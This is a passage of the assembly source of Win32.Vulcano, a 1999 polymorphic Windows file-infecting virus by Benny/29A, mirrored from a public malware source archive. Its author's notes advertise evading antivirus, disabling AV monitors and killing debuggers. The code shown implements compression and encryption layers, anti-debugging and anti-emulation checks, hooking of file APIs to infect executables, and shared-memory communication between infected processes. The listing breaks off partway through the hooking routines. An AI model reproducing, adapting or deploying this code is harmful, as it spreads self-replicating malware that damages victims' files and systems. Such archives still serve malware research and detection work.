mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
2686 lines
69 KiB
NASM
2686 lines
69 KiB
NASM
; ??????? ??????? ???????
|
|
; ??? ??? ??? ??? ??? ???
|
|
; Win32.Vulcano ?????? ??????? ???????
|
|
; by Benny/29A ??????? ??????? ??? ???
|
|
; ??????? ??????? ??? ???
|
|
;
|
|
;
|
|
;
|
|
;Description
|
|
;????????????
|
|
;
|
|
;
|
|
;Hello everybody,
|
|
;
|
|
;I was wrong. Not BeGemot, but Vulcano is my best virus :D. It has lot of nice
|
|
;and never published features and it is ofcoz, very optimized. I hope u will
|
|
;like, coz this took me much time to code and even more time to test it. Here
|
|
;comes a little description of that. Heh, this is my best virus and it has very
|
|
;small description - I don't know how to better present it than just write
|
|
;a list of its features. Enjoy it!
|
|
;
|
|
;This virus is:
|
|
; - the first multiprocess Win32 (Win95/98/NT/2k compatible)
|
|
; virus with interprocess communication(!!!)
|
|
; - per-process resident multithreaded fast mid-infector
|
|
; - polymorphic using two layers - advanced BPE32 and
|
|
; second semi-morpher
|
|
; - compressed using BCE32
|
|
; - heavilly armoured
|
|
; - CRC32 protected
|
|
; - undetectable by any antivirus
|
|
;
|
|
;This virus uses:
|
|
; - Structured Exception Handling
|
|
; - EPO routines (virus patches one imported API)
|
|
; - CRC32 records instead of raw ANSI strings
|
|
; - Anti-* routines
|
|
; - Pentium and undocumented instructions (also in poly decryptor)
|
|
;
|
|
;This virus doesn't:
|
|
; - infect system files
|
|
; - infect files which doesn't contain .reloc section
|
|
; - infect small files
|
|
; - enlarge file
|
|
; - contain any payload
|
|
;
|
|
;This virus is able to:
|
|
; - deactivate some AV monitors
|
|
; - infect EXE/SCR/SFX/CPL/DAT/BAK files
|
|
; - overwrite relocations
|
|
; - communicate with other instances of virus
|
|
;
|
|
;And much more. In short words, this virus presents many new hot features never
|
|
;been published.
|
|
;
|
|
;
|
|
;
|
|
;Interprocess communication (IPC)
|
|
;?????????????????????????????????
|
|
;
|
|
;
|
|
;This is the best part of the virus :). The main idea is: make all actions
|
|
;in another process. Imagine, virus does nothing. Nothing in actual process.
|
|
;But if another infected program is running in system, virus will pass control
|
|
;to that instance of virus. This very difficult stuff is realised by file mapping
|
|
;mirrored in swap file, mutexes and threads. That code is very optimized, but
|
|
;unfortunetely, it contains some bugs, which fortunately aren't much visible.
|
|
;In 99,9999% of all cases u won't see anything suspicious. That's truth.
|
|
;
|
|
;
|
|
;
|
|
;What will happen on execution ?
|
|
;???????????????????????????????-
|
|
;
|
|
;
|
|
;Virus will (after patched API will be called):
|
|
;1) Decrypt it's body by polymorphic decryptor
|
|
;2) Decompress virus body
|
|
;3) Decrypt virus body by 2nd decryptor
|
|
;4) Check consistency of virus body by CRC32 - this prevents from setting
|
|
; breakpoints
|
|
;5) Check for Pentium processor
|
|
;6) Find base of Kernel32.dll in memory
|
|
;7) Find all needed APIs (using CRC32)
|
|
;8) Create new thread which will hook some API functions
|
|
;9) Wait for thread termination
|
|
;10) Create/Open the space in swap file and initialize (create new) record
|
|
; for IPC
|
|
;11) Create new thread for IPC
|
|
;12) Jump to host
|
|
;
|
|
;
|
|
;After hooked API call (API manipulating with files) will virus:
|
|
;1) Get file name
|
|
;2) Check file properties via IPC
|
|
;3) Open file, check it and infect it via IPC
|
|
;4) Call original API (depending on API)
|
|
;
|
|
;
|
|
;After hooked API call (ExitProcess, GetLastError, ...) will virus:
|
|
;1) Check for application level debugger via IPC (if found, process will be
|
|
; remotely terminated - veeery nice feature :))
|
|
;2) Check for system level debugger (SoftICE) via IPC
|
|
;3) Check for monitors in memory via IPC
|
|
;4) Find random file
|
|
;5) Check it via IPC
|
|
;6) Check and infect it via IPC
|
|
;
|
|
;
|
|
;IPC thread in memory will:
|
|
;1) Check for new request
|
|
;2) Do property action
|
|
;3) Pass execution to next thread
|
|
;
|
|
;
|
|
;
|
|
;Greetz
|
|
;???????
|
|
;
|
|
;
|
|
; Darkman/29A.... Finally I finished it! Hope u like it...
|
|
; Billy_Bel...... Where r u? Please mail me...
|
|
; GriYo.......... U genius!
|
|
; flush.......... no, neni to sice tak super jako to vase, ale da se to
|
|
; snest, doufam :)
|
|
; StarZer0....... Who is Axelle? X-D
|
|
;
|
|
;
|
|
;
|
|
;How to build it
|
|
;????????????????
|
|
;
|
|
;
|
|
; tasm32 -ml -m9 -q vulcano.asm
|
|
; tlink32 -Tpe -c -x -aa -r vulcano,,, import32
|
|
; pewrsec vulcano.exe
|
|
;
|
|
;
|
|
;
|
|
;Last notes
|
|
;???????????
|
|
;
|
|
;Yeah, I'm really happy, coz I finished that. It was very hard to code it and
|
|
;much harder to debug it. I know it has some small bugs, but I hope u will like
|
|
;it over the all negative aspects as buggy code is. Please, tell me what do u
|
|
;think about it on IRC, or by mail. I can provide u binary form and if u want
|
|
;to have it, then there's nothing easier than contact me on benny@post.cz.
|
|
;The hardest thing to code was synchronization module. In first versions of
|
|
;Vulcano I used normal variable as semaphores, but the code was very slow and
|
|
;buggy. Then I recompiled it with mutexes and it worked much better. However,
|
|
;there is still code, which I can't and don't want to change.
|
|
;Last thing: this virus wasn't coded for spreading, but just and ONLY for
|
|
;education purposes only. It infects only huge files with relocation table
|
|
;and I hope it is kewl virus without all those spread-features.
|
|
;
|
|
;
|
|
;
|
|
;(c) 1999 Benny/29A. Enjoy!
|
|
|
|
|
|
|
|
|
|
.586p ;why not ;)
|
|
.model flat ;FLAT model
|
|
|
|
include mz.inc ;include some important
|
|
include pe.inc ;include-filez
|
|
include win32api.inc
|
|
include useful.inc
|
|
|
|
|
|
;some instructions
|
|
push_LARGE_0 equ ;PUSH LARGE 0
|
|
SALC equ ;SALC opcode
|
|
RDTCS equ ;RDTCS
|
|
|
|
|
|
;some equates for VLCB (VLCB = VuLcano Control Block)
|
|
VLCB_Signature equ 00 ;signature
|
|
VLCB_TSep equ 08 ;record separator
|
|
VLCB_THandle equ 00 ;mutex handle
|
|
VLCB_TID equ 04 ;ID of service
|
|
VLCB_TData equ 08 ;data
|
|
VLCB_TSize equ SIZEOF_WIN32_FIND_DATA+8;size of one record
|
|
VLCB_SetWait equ 00 ;set data and wait for result
|
|
VLCB_WaitGet equ 01 ;wait for signalisation and get data
|
|
VLCB_Quit equ 01 ;quit
|
|
VLCB_Check equ 02 ;check file
|
|
VLCB_Infect equ 03 ;infect file
|
|
VLCB_Debug1 equ 04 ;check for app level debugger
|
|
VLCB_Debug2 equ 05 ;check for SoftICE
|
|
VLCB_Monitor equ 06 ;check for AVP and AMON monitors
|
|
|
|
|
|
j_api macro API ;JMP DWORD PTR [XXXXXXXXh]
|
|
dw 25ffh
|
|
API dd ?
|
|
endm
|
|
|
|
|
|
c_api macro API ;CALL DWORD PTR [XXXXXXXXh]
|
|
dw 15ffh
|
|
API dd ?
|
|
endm
|
|
|
|
|
|
extrn GetModuleHandleA:PROC ;APIs needed in first
|
|
extrn ExitProcess:PROC ;generation only
|
|
|
|
|
|
.data ;data section
|
|
VulcanoInit: ;Start of virus
|
|
SALC ;undoc. opcode to fuck emulators
|
|
push dword ptr [offset _GetModuleHandleA] ;push original API
|
|
ddAPI = dword ptr $-4
|
|
push 400000h ;push image base
|
|
ImgBase = dword ptr $-4
|
|
pushad ;store all registers
|
|
call gd ;get delta offset
|
|
gd: pop ebp ;...
|
|
lea esi, [ebp + _compressed_ - gd] ;where is compressed virus
|
|
;stored
|
|
lea edi, [ebp + decompressed - gd] ;where will be virus
|
|
;decompressed
|
|
mov ecx, 0 ;size of compressed virus
|
|
c_size = dword ptr $-4
|
|
|
|
|
|
;Decompression routine from BCE32 starts here.
|
|
pushad ;save all regs
|
|
xor eax, eax ;EAX = 0
|
|
xor ebp, ebp ;EBP = 0
|
|
cdq ;EDX = 0
|
|
lodsb ;load decryption key
|
|
push eax ;store it
|
|
lodsb ;load first byte
|
|
push 8 ;store 8
|
|
push edx ;store 0
|
|
d_bits: push ecx ;store ECX
|
|
test al, 80h ;test for 1
|
|
jne db0
|
|
test al, 0c0h ;test for 00
|
|
je db1
|
|
test al, 0a0h ;test for 010
|
|
je db2
|
|
mov cl, 6 ;its 011
|
|
jmp tb2
|
|
testb: test bl, 1 ;is it 1 ?
|
|
jne p1
|
|
push 0 ;no, store 0
|
|
_tb_: mov eax, ebp ;load byte to EAX
|
|
or al, [esp] ;set bit
|
|
ror al, 1 ;and make space for next one
|
|
call cbit
|
|
ret
|
|
p1: push 1 ;store 1
|
|
jmp _tb_ ;and continue
|
|
db0: xor cl, cl ;CL = 0
|
|
mov byte ptr [esp+4], 1 ;store 1
|
|
testbits:
|
|
push eax ;store it
|
|
push ebx ;...
|
|
mov ebx, [esp+20] ;load parameter
|
|
ror bl, cl ;shift to next bit group
|
|
call testb ;test bit
|
|
ror bl, 1 ;next bit
|
|
call testb ;test it
|
|
pop ebx ;restore regs
|
|
pop eax
|
|
mov ecx, [esp+4] ;load parameter
|
|
bcopy: cmp byte ptr [esp+8], 8 ;8. bit ?
|
|
jne dnlb ;nope, continue
|
|
mov ebx, eax ;load next byte
|
|
lodsb
|
|
xchg eax, ebx
|
|
mov byte ptr [esp+8], 0 ;and nulify parameter
|
|
dec dword ptr [esp] ;decrement parameter
|
|
dnlb: shl al, 1 ;next bit
|
|
test bl, 80h ;is it 1 ?
|
|
je nb ;no, continue
|
|
or al, 1 ;yeah, set bit
|
|
nb: rol bl, 1 ;next bit
|
|
inc byte ptr [esp+8] ;increment parameter
|
|
loop bcopy ;and align next bits
|
|
pop ecx ;restore ECX
|
|
inc ecx ;test flags
|
|
dec ecx ;...
|
|
jns d_bits ;if not sign, jump
|
|
pop eax ;delete pushed parameters
|
|
pop eax ;...
|
|
pop eax ;...
|
|
popad ;restore all regs
|
|
jmp decompressed
|
|
cbit: inc edx ;increment counter
|
|
cmp dl, 8 ;byte full ?
|
|
jne n_byte ;no, continue
|
|
stosb ;yeah, store byte
|
|
xor eax, eax ;and prepare next one
|
|
cdq ;...
|
|
n_byte: mov ebp, eax ;save back byte
|
|
ret Pshd ;quit from procedure with one parameter on stack
|
|
db1: mov cl, 2 ;2. bit in decryption key
|
|
mov byte ptr [esp+4], 2 ;2 bit wide
|
|
jmp testbits ;test bits
|
|
db2: mov cl, 4 ;4. bit
|
|
tb2: mov byte ptr [esp+4], 3 ;3 bit wide
|
|
jmp testbits ;test bits
|
|
|
|
_compressed_ db virus_end-compressed+200h dup (?) ;here is stored compressed
|
|
;virus body
|
|
decompressed: db virus_end-compressed dup (?) ;here decompressed
|
|
db size_unint dup (?) ;and here all uninitialized
|
|
;variables
|
|
virtual_end: ;end of virus in memory
|
|
ends
|
|
|
|
.code ;start of code section
|
|
first_gen: ;first generation code
|
|
;second layer of encryption
|
|
mov esi, offset encrypted ;encrypt from...
|
|
mov ecx, (virus_end-encrypted+3)/4 ;encrypt how many bytes...
|
|
encrypt1:
|
|
lodsd ;get dword
|
|
xor eax, 1 ;encrypt
|
|
mov [esi-4], eax ;and store it
|
|
loop encrypt1 ;
|
|
|
|
mov esi, offset compressed ;source
|
|
mov edi, offset _compressed_ ;destination
|
|
mov ecx, virus_end-compressed+2 ;size
|
|
mov ebx, offset workspace1 ;workspace1
|
|
mov edx, offset workspace2 ;workspace2
|
|
call BCE32_Compress ;Compress virus body!
|
|
dec eax
|
|
mov [c_size], eax ;save compressed virus size
|
|
|
|
push 0 ;parameter for GetModuleHandleA
|
|
call VulcanoInit ;call virus code
|
|
|
|
push 0 ;parameter for ExitProcess
|
|
call ExitProcess ;this will be hooked by virus l8r
|
|
|
|
;Compression routine from BCE32 starts here. This is used only in first gen.
|
|
|
|
BCE32_Compress Proc
|
|
pushad ;save all regs
|
|
;stage 1
|
|
pushad ;and again
|
|
create_table:
|
|
push ecx ;save for l8r usage
|
|
push 4
|
|
pop ecx ;ECX = 4
|
|
lodsb ;load byte to AL
|
|
l_table:push eax ;save it
|
|
xor edx, edx ;EDX = 0
|
|
and al, 3 ;this stuff will separate and test
|
|
je st_end ;bit groups
|
|
cmp al, 2
|
|
je st2
|
|
cmp al, 3
|
|
je st3
|
|
st1: inc edx ;01
|
|
jmp st_end
|
|
st2: inc edx ;10
|
|
inc edx
|
|
jmp st_end
|
|
st3: mov dl, 3 ;11
|
|
st_end: inc dword ptr [ebx+4*edx] ;increment count in table
|
|
pop eax
|
|
ror al, 2 ;next bit group
|
|
loop l_table
|
|
pop ecx ;restore number of bytes
|
|
loop create_table ;next byte
|
|
|
|
push 4 ;this will check for same numbers
|
|
pop ecx ;ECX = 4
|
|
re_t: cdq ;EDX = 0
|
|
t_loop: mov eax, [ebx+4*edx] ;load DWORD
|
|
inc dword ptr [ebx+4*edx] ;increment it
|
|
cmp eax, [ebx] ;test for same numbers
|
|
je _inc_ ;...
|
|
cmp eax, [ebx+4] ;...
|
|
je _inc_ ;...
|
|
cmp eax, [ebx+8] ;...
|
|
je _inc_ ;...
|
|
cmp eax, [ebx+12] ;...
|
|
jne ninc_ ;...
|
|
_inc_: inc dword ptr [ebx+4*edx] ;same, increment it
|
|
inc ecx ;increment counter (check it in next turn)
|
|
ninc_: cmp dl, 3 ;table overflow ?
|
|
je re_t ;yeah, once again
|
|
inc edx ;increment offset to table
|
|
loop t_loop ;loop
|
|
popad ;restore regs
|
|
|
|
;stage 2
|
|
pushad ;save all regs
|
|
mov esi, ebx ;get pointer to table
|
|
push 3
|
|
pop ebx ;EBX = 3
|
|
mov ecx, ebx ;ECX = 3
|
|
rep_sort: ;bubble sort = the biggest value will
|
|
;always "bubble up", so we know number
|
|
;steps
|
|
push ecx ;save it
|
|
mov ecx, ebx ;set pointerz
|
|
mov edi, edx ;...
|
|
push edx ;save it
|
|
lodsd ;load DWORD (count)
|
|
mov edx, eax ;save it
|
|
sort: lodsd ;load next
|
|
cmp eax, edx ;is it bigger
|
|
jb noswap ;no, store it
|
|
xchg eax, edx ;yeah, swap DWORDs
|
|
noswap: stosd ;store it
|
|
loop sort ;next DWORD
|
|
mov eax, edx ;biggest in EDX, swap it
|
|
stosd ;and store
|
|
lea esi, [edi-16] ;get back pointer
|
|
pop edx ;restore regs
|
|
pop ecx
|
|
loop rep_sort ;and try next DWORD
|
|
popad
|
|
;stage 3
|
|
pushad ;save all regs
|
|
xor eax, eax ;EAX = 0
|
|
push eax ;save it
|
|
push 4
|
|
pop ecx ;ECX = 4
|
|
n_search:
|
|
push edx ;save regs
|
|
push ecx
|
|
lea esi, [ebx+4*eax] ;get pointer to table
|
|
push eax ;store reg
|
|
lodsd ;load DWORD to EAX
|
|
push 3
|
|
pop ecx ;ECX = 3
|
|
mov edi, ecx ;set pointerz
|
|
search: mov esi, edx
|
|
push eax ;save it
|
|
lodsd ;load next
|
|
mov ebp, eax
|
|
pop eax
|
|
cmp eax, ebp ;end ?
|
|
je end_search
|
|
dec edi ;next search
|
|
add edx, 4
|
|
loop search
|
|
end_search:
|
|
pop eax ;and next step
|
|
inc eax
|
|
pop ecx
|
|
pop edx
|
|
add [esp], edi
|
|
rol byte ptr [esp], 2
|
|
loop n_search
|
|
pop [esp.Pushad_ebx] ;restore all
|
|
popad ;...
|
|
;stage 4
|
|
xor ebp, ebp ;EBP = 0
|
|
xor edx, edx ;EDX = 0
|
|
mov [edi], bl ;store decryption key
|
|
inc edi ;increment pointer
|
|
next_byte:
|
|
xor eax, eax ;EAX = 0
|
|
push ecx
|
|
lodsb ;load next byte
|
|
push 4
|
|
pop ecx ;ECX = 4
|
|
next_bits:
|
|
push ecx ;store regs
|
|
push eax
|
|
and al, 3 ;separate bit group
|
|
push ebx ;compare with next group
|
|
and bl, 3
|
|
cmp al, bl
|
|
pop ebx
|
|
je cb0
|
|
push ebx ;compare with next group
|
|
ror bl, 2
|
|
and bl, 3
|
|
cmp al, bl
|
|
pop ebx
|
|
je cb1
|
|
push ebx ;compare with next group
|
|
ror bl, 4
|
|
and bl, 3
|
|
cmp al, bl
|
|
pop ebx
|
|
je cb2
|
|
push 0 ;store bit 0
|
|
call copy_bit
|
|
push 1 ;store bit 1
|
|
call copy_bit
|
|
cb0: push 1 ;store bit 1
|
|
end_cb1:call copy_bit
|
|
pop eax
|
|
pop ecx
|
|
ror al, 2
|
|
loop next_bits ;next bit
|
|
pop ecx
|
|
loop next_byte ;next byte
|
|
mov eax, edi ;save new size
|
|
sub eax, [esp.Pushad_edi] ;...
|
|
mov [esp.Pushad_eax], eax ;...
|
|
popad ;restore all regs
|
|
cmp eax, ecx ;test for negative compression
|
|
jb c_ok ;positive compression
|
|
stc ;clear flag
|
|
ret ;and quit
|
|
c_ok: clc ;negative compression, set flag
|
|
ret ;and quit
|
|
cb1: push 0 ;store bit 0
|
|
end_cb2:call copy_bit
|
|
push 0 ;store bit 0
|
|
jmp end_cb1
|
|
cb2: push 0 ;store bit 0
|
|
call copy_bit
|
|
push 1 ;store bit 1
|
|
jmp end_cb2
|
|
copy_bit:
|
|
mov eax, ebp ;get byte from EBP
|
|
shl al, 1 ;make space for next bit
|
|
or al, [esp+4] ;set bit
|
|
jmp cbit
|
|
BCE32_Compress EndP ;end of compression procedure
|
|
|
|
|
|
compressed: ;compressed body starts here
|
|
@SEH_SetupFrame ;setup SEH frame
|
|
call gdlta ;calculate delta offset
|
|
gdelta: dd ddFindFirstFileA-gdelta ;addresses
|
|
dd ddFindNextFileA-gdelta ;of variables
|
|
dd ddFindClose-gdelta ;where will
|
|
dd ddSetFileAttributesA-gdelta ;be stored
|
|
dd ddSetFileTime-gdelta ;addresses of APIs
|
|
dd ddCreateFileA-gdelta
|
|
dd ddCreateFileMappingA-gdelta
|
|
dd ddMapViewOfFile-gdelta
|
|
dd ddUnmapViewOfFile-gdelta
|
|
dd ddCreateThread-gdelta
|
|
dd ddWaitForSingleObject-gdelta
|
|
dd ddCloseHandle-gdelta
|
|
dd ddCreateMutexA-gdelta
|
|
dd ddReleaseMutex-gdelta
|
|
dd ddOpenMutexA-gdelta
|
|
dd ddSleep-gdelta
|
|
dd ddVirtualProtect-gdelta
|
|
dd ddGetCurrentProcessId-gdelta
|
|
dd ddOpenProcess-gdelta
|
|
dd ddTerminateProcess-gdelta
|
|
dd ddLoadLibraryA-gdelta
|
|
dd ddGetProcAddress-gdelta
|
|
dd ddFreeLibrary-gdelta
|
|
dd ? ;end of record
|
|
|
|
newHookers:
|
|
dd newFindFirstFileA-gdelta ;addresses of API hookers
|
|
dd newFindNextFileA-gdelta
|
|
dd newCopyFileA-gdelta
|
|
dd newCopyFileExA-gdelta
|
|
dd newCreateFileA-gdelta
|
|
dd newCreateProcessA-gdelta
|
|
dd newDeleteFileA-gdelta
|
|
dd newGetFileAttributesA-gdelta
|
|
dd newGetFullPathNameA-gdelta
|
|
dd new_lopen-gdelta
|
|
dd newMoveFileA-gdelta
|
|
dd newMoveFileExA-gdelta
|
|
dd newOpenFile-gdelta
|
|
dd newSetFileAttributesA-gdelta
|
|
dd newWinExec-gdelta
|
|
dd newExitProcess-gdelta
|
|
dd newExitThread-gdelta
|
|
dd newGetLastError-gdelta
|
|
dd newCloseHandle-gdelta
|
|
dd ? ;end of record
|
|
|
|
oldHookers:
|
|
dd oldFindFirstFileA-gdelta ;addresses, where will be
|
|
dd oldFindNextFileA-gdelta ;stored original
|
|
dd oldCopyFileA-gdelta ;API callers
|
|
dd oldCopyFileExA-gdelta
|
|
dd oldCreateFileA-gdelta
|
|
dd oldCreateProcessA-gdelta
|
|
dd oldDeleteFileA-gdelta
|
|
dd oldGetFileAttributesA-gdelta
|
|
dd oldGetFullPathNameA-gdelta
|
|
dd old_lopen-gdelta
|
|
dd oldMoveFileA-gdelta
|
|
dd oldMoveFileExA-gdelta
|
|
dd oldOpenFile-gdelta
|
|
dd oldSetFileAttributesA-gdelta
|
|
dd oldWinExec-gdelta
|
|
dd oldExitProcess-gdelta
|
|
dd oldExitThread-gdelta
|
|
dd oldGetLastError-gdelta
|
|
dd oldCloseHandle-gdelta
|
|
|
|
gdlta: pop ebp ;get delta offset
|
|
lea esi, [ebp + encrypted - gdelta] ;get start of encrypted code
|
|
mov ecx, (virus_end-encrypted+3)/4 ;number of dwords to encrypt
|
|
push es ;save selector
|
|
push ds
|
|
pop es ;ES=DS
|
|
decrypt:lodsd ;load dword
|
|
xor eax, 1 ;decrypt it
|
|
mov es:[esi-4], eax ;save dword with AntiAV (usage of
|
|
loop decrypt ;selectors)
|
|
|
|
encrypted: ;encrypted code starts here
|
|
pop es ;restore selector
|
|
lea esi, [ebp + crc32prot - gdelta] ;start of CRC32 protected code
|
|
mov edi, virus_end-crc32prot ;size of that
|
|
call CRC32 ;calculate CRC32
|
|
cmp eax, 05BB5B647h ;check for consistency
|
|
crc32prot:
|
|
jne jmp_host ;jump to host if breakpoints set and such
|
|
|
|
;Pentium+ check
|
|
pushad
|
|
pushfd ;save EFLAGS
|
|
pop eax ;get them
|
|
mov ecx, eax ;save them
|
|
or eax, 200000h ;flip ID bit in EFLAGS
|
|
push eax ;store
|
|
popfd ;flags
|
|
pushfd ;get them back
|
|
pop eax ;...
|
|
xor eax, ecx ;same?
|
|
je end_cc ;shit, we r on 486-
|
|
xor eax, eax ;EAX=0
|
|
inc eax ;EAX=1
|
|
cpuid ;CPUID
|
|
and eax, 111100000000b ;mask processor family
|
|
cmp ah, 4 ;is it 486?
|
|
je end_cc ;baaaaaaad
|
|
popad
|
|
|
|
mov eax, ds ;this will fuck
|
|
push eax ;some old versions
|
|
pop ds ;of NodICE
|
|
mov ebx, ds
|
|
xor eax, ebx
|
|
jne jmp_host
|
|
|
|
mov eax, 77F00000h ;WinNT 4.0 k32 image base
|
|
call get_base
|
|
jecxz k32_found ;we got image base
|
|
mov eax, 77E00000h ;Win2k k32 image base
|
|
call get_base
|
|
jecxz k32_found ;we got image base
|
|
mov eax, 77ED0000h ;Win2k k32 image base
|
|
call get_base
|
|
jecxz k32_found ;we got image base
|
|
mov eax, 0BFF70000h ;Win95/98 k32 image base
|
|
call get_base
|
|
test ecx, ecx
|
|
jne jmp_host ;base of k32 not found, quit
|
|
|
|
push cs
|
|
lea ebx, [ebp + k32_found - gdelta] ;continue on another label
|
|
push ebx
|
|
retf ;fuck u emulator! :)
|
|
|
|
end_cc: popad ;restore all registers
|
|
jmp jmp_host ;and jump to host
|
|
|
|
db 'Win32.Vulcano by Benny/29A' ;little signature :)
|
|
|
|
k32_found:
|
|
mov ebx, [esp.cPushad+8] ;get image base of app
|
|
mov [ebp + GMHA - gdelta], ebx ;save it
|
|
add ebx, [ebx.MZ_lfanew] ;get to PE header
|
|
lea esi, [ebp + crcAPIs - gdelta] ;start of CRC32 API table
|
|
mov edx, ebp ;get table of pointers
|
|
s_ET: mov edi, [edx] ;get item
|
|
test edi, edi ;is it 0?
|
|
je end_ET ;yeah, work is done
|
|
add edi, ebp ;normalize
|
|
push eax ;save EAX
|
|
call SearchET ;search for API
|
|
stosd ;save its address
|
|
test eax, eax ;was it 0?
|
|
pop eax ;restore EAX
|
|
je jmp_host ;yeah, error, quit
|
|
add esi, 4 ;correct pointers
|
|
add edx, 4 ;to pointers...
|
|
jmp s_ET ;loop
|
|
get_base:
|
|
pushad ;save all registers
|
|
@SEH_SetupFrame ;setup SEH frame
|
|
xor ecx, ecx ;set error value
|
|
inc ecx
|
|
cmp word ptr [eax], IMAGE_DOS_SIGNATURE ;is it EXE?
|
|
jne err_gbase ;no, quit
|
|
dec ecx ;yeah, set flag
|
|
err_gbase: ;and quit
|
|
@SEH_RemoveFrame ;remove SEH frame
|
|
mov [esp.Pushad_ecx], ecx ;save flag
|
|
popad ;restore all registers
|
|
ret ;and quit from procedure
|
|
|
|
end_ET: lea eax, [ebp + tmp - gdelta] ;now we will create new
|
|
push eax ;thread to hide writing to
|
|
xor eax, eax ;Import table
|
|
push eax
|
|
push ebp ;delta offset
|
|
lea edx, [ebp + NewThread - gdelta] ;address of thread procedure
|
|
push edx
|
|
push eax ;and other shit to stack
|
|
push eax
|
|
mov eax, 0
|
|
ddCreateThread = dword ptr $-4
|
|
call eax ;create thread!
|
|
test eax, eax ;is EAX=0?
|
|
je jmp_host ;yeah, quit
|
|
|
|
push eax ;parameter for CloseHandle
|
|
push -1 ;infinite loop
|
|
push eax ;handle of thread
|
|
call [ebp + ddWaitForSingleObject - gdelta] ;wait for thread termination
|
|
|
|
call [ebp + ddCloseHandle - gdelta] ;close thread handle
|
|
|
|
;now we will create space in shared memory for VLCB structure
|
|
call @VLCB
|
|
db 'VLCB',0 ;name of shared area
|
|
@VLCB: push 2000h ;size of area
|
|
push 0
|
|
push PAGE_READWRITE
|
|
push 0
|
|
push -1 ;SWAP FILE!
|
|
call [ebp + ddCreateFileMappingA - gdelta] ;open area
|
|
test eax, eax
|
|
je jmp_host ;quit if error
|
|
|
|
xor edx, edx
|
|
push edx
|
|
push edx
|
|
push edx
|
|
push FILE_MAP_WRITE
|
|
push eax
|
|
call [ebp + ddMapViewOfFile - gdelta] ;map view of file to address
|
|
xchg eax, edi ;space of virus
|
|
test edi, edi
|
|
je end_gd1 ;quit if error
|
|
mov [ebp + vlcbBase - gdelta], edi ;save base address
|
|
|
|
;now we will create named mutex
|
|
call @@@1 ;push address of name
|
|
@@1: dd 0 ;random name
|
|
@@@1: RDTCS ;get random number
|
|
mov edx, [esp] ;get address of name
|
|
shr eax, 8 ;terminate string with \0
|
|
mov [edx], eax ;and save it
|
|
mov esi, [esp] ;get address of generated name
|
|
push 0
|
|
push 0
|
|
mov eax, 0
|
|
ddCreateMutexA = dword ptr $-4
|
|
call eax ;create mutex
|
|
test eax, eax
|
|
je end_gd2 ;quit if error
|
|
|
|
;now we will initialize VLCB structure
|
|
xor edx, edx ;EDX=0
|
|
mov eax, edi ;get base of VLCB
|
|
mov [eax.VLCB_Signature], 'BCLV' ;save signature
|
|
|
|
;now we will initialize record for thread
|
|
mov ecx, 20 ;20 communication channels
|
|
sr_t: cmp dword ptr [edi.VLCB_TSep.VLCB_THandle], 0 ;check handle
|
|
jne tnext ;if already reserved, then try next
|
|
mov esi, [esi] ;get name of mutex
|
|
mov [edi.VLCB_TSep.VLCB_THandle], esi ;save it
|
|
mov [ebp + t_number - gdelta], edx ;and save ID number of mutex
|
|
|
|
lea eax, [ebp + tmp - gdelta] ;create new thread
|
|
push eax ;for IPC
|
|
xor eax, eax
|
|
push eax
|
|
push ebp
|
|
lea edx, [ebp + mThread - gdelta] ;address of thread procedure
|
|
push edx
|
|
push eax
|
|
push eax
|
|
call [ebp + ddCreateThread - gdelta] ;create new thread
|
|
xchg eax, ecx
|
|
jecxz end_gd3 ;quit if error
|
|
|
|
jmp_host:
|
|
@SEH_RemoveFrame ;remove SEH frame
|
|
mov eax, [esp.cPushad+4] ;save address of previous
|
|
mov [esp.Pushad_eax], eax ;API caller
|
|
popad ;restore all regs
|
|
add esp, 8 ;repair stack pointer
|
|
push cs ;save selector
|
|
push eax ;save offset of API caller
|
|
retf ;jump to host :)
|
|
tnext: add edi, VLCB_TSize ;get to next record
|
|
inc edx ;increment counter
|
|
loop sr_t ;try again
|
|
jmp jmp_host ;quit if more than 20 viruses r in memory
|
|
end_gd3:push esi
|
|
call [ebp + ddCloseHandle - gdelta] ;close mutex
|
|
end_gd2:push dword ptr [ebp + vlcbBase - gdelta]
|
|
call [ebp + ddUnmapViewOfFile - gdelta] ;unmap VLCB
|
|
end_gd1:push edi
|
|
call [ebp + ddCloseHandle - gdelta] ;close mapping of file
|
|
jmp jmp_host ;and jump to host
|
|
|
|
|
|
gtDelta:call mgdlta ;procedure used to getting
|
|
mgdelta:db 0b8h ;fuck u disassemblers
|
|
mgdlta: pop ebp ;get it
|
|
ret ;and quit
|
|
|
|
|
|
newFindFirstFileA: ;hooker for FindFirstFileA API
|
|
push dword ptr [esp+8] ;push parameters
|
|
push dword ptr [esp+8] ;...
|
|
c_api oldFindFirstFileA ;call original API
|
|
|
|
p_file: pushad ;store all registers
|
|
call gtDelta ;get delta
|
|
mov ebx, [esp.cPushad+8] ;get Win32 Find Data
|
|
call Check&Infect ;try to infect file
|
|
popad ;restore all registers
|
|
ret 8 ;and quit
|
|
|
|
newFindNextFileA:
|
|
push dword ptr [esp+8] ;push parameters
|
|
push dword ptr [esp+8] ;...
|
|
c_api oldFindNextFileA ;call previous API
|
|
jmp p_file ;and continue
|
|
|
|
|
|
process_file:
|
|
pushad ;store all registers
|
|
call gtDelta ;get delta offset
|
|
lea esi, [ebp + WFD2 - mgdelta] ;get Win32_Find_Data
|
|
push esi ;save it
|
|
push dword ptr [esp.cPushad+0ch] ;push offset to filename
|
|
call [ebp + ddFindFirstFileA - mgdelta] ;find that file
|
|
inc eax
|
|
je end_pf ;quit if error
|
|
dec eax
|
|
xchg eax, ecx ;handle to ECX
|
|
mov ebx, esi ;WFD to EBX
|
|
call Check&Infect ;check and infect it
|
|
push ecx
|
|
call [ebp + ddFindClose - mgdelta] ;close find handle
|
|
end_pf: popad ;restore all registers
|
|
ret ;and quit
|
|
|
|
;generic hookers for some APIs
|
|
newCopyFileExA:
|
|
call process_file
|
|
j_api oldCopyFileExA
|
|
newCopyFileA:
|
|
call process_file
|
|
j_api oldCopyFileA
|
|
newCreateFileA:
|
|
call process_file
|
|
j_api oldCreateFileA
|
|
newCreateProcessA:
|
|
call process_file
|
|
j_api oldCreateProcessA
|
|
newDeleteFileA:
|
|
call process_file
|
|
j_api oldDeleteFileA
|
|
newGetFileAttributesA:
|
|
call process_file
|
|
j_api oldGetFileAttributesA
|
|
newGetFullPathNameA:
|
|
call process_file
|
|
j_api oldGetFullPathNameA
|
|
new_lopen:
|
|
call process_file
|
|
j_api old_lopen
|
|
newMoveFileA:
|
|
call process_file
|
|
j_api oldMoveFileA
|
|
newMoveFileExA:
|
|
call process_file
|
|
